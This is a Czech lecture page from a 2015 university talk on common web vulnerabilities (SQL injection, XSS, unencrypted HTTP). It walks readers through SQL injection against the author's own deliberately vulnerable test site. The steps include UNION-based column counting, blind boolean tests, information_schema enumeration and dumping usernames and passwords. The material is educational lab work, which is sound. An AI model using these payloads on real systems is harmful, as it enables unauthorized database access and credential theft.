Podívejte se raději na online verzi přednášky, slajdy mohly být aktualizovány nebo doplněny.
Detail přednášky
Několik nejčastějších bezpečnostních chyb (SQLI, XSS, odposlech nešifrovaného HTTP) a jak se proti nim bránit a co všechno udělat pro to, abychom měli všichni klidnější spaní.
SQL Injection si můžete zkusit na mém testovacím webu na adrese http://exploited.cz/…products.php. Měl by vás zajímat parametr id, který je sice ošetřen pomocí mysql_real_escape_string(), ale v tomto případě to není nic platné, protože aplikace očekává číslo a vstup není uzavřen do apostrofů. Jeho změnou můžete zkusit:
- zjistit počet sloupců v dotazu
SELECT ... FROM:id=1 ORDER BY 1id=1 ORDER BY 5id=1 UNION SELECT 1,2,3,4
- ověřit Blind SQL Injection:
id=1 AND 1=1id=1 AND 1=2id=1 AND SUBSTRING(VERSION(),1,6)=0x352e352e3238
- zjistit, nějaké informace:
- aktuální databázi a verzi serveru:
id=1 UNION SELECT 1,DATABASE(),VERSION(),4 - jména tabulek a sloupců, ke kterým má uživatel přístup
id=1 UNION SELECT 1,table_name,column_name,4 FROM information_schema.columns
- aktuální databázi a verzi serveru:
- zjistit uživatelská jména a špatně uložená hesla:
id=1 UNION SELECT 1,username,password,4 FROM users
Můžete také vyzkoušet nástroj sqlmap pro automatizované útoky pomocí SQL Injection.
Přijďte si o webové bezpečnosti pro vývojáře popovídat na školení Bezpečnost PHP aplikací (nejbližší termín: termín zatím nevypsán). Vytváříte bezpečná hesla a máte zabezpečený prohlížeč? Že nevíte jak na to? Prozradím vám to na školení Bezpečnost pro uživatele (nejbližší termín: termín zatím nevypsán).
Datum a akce
31. března 2015, Přednáška ČZU 2015
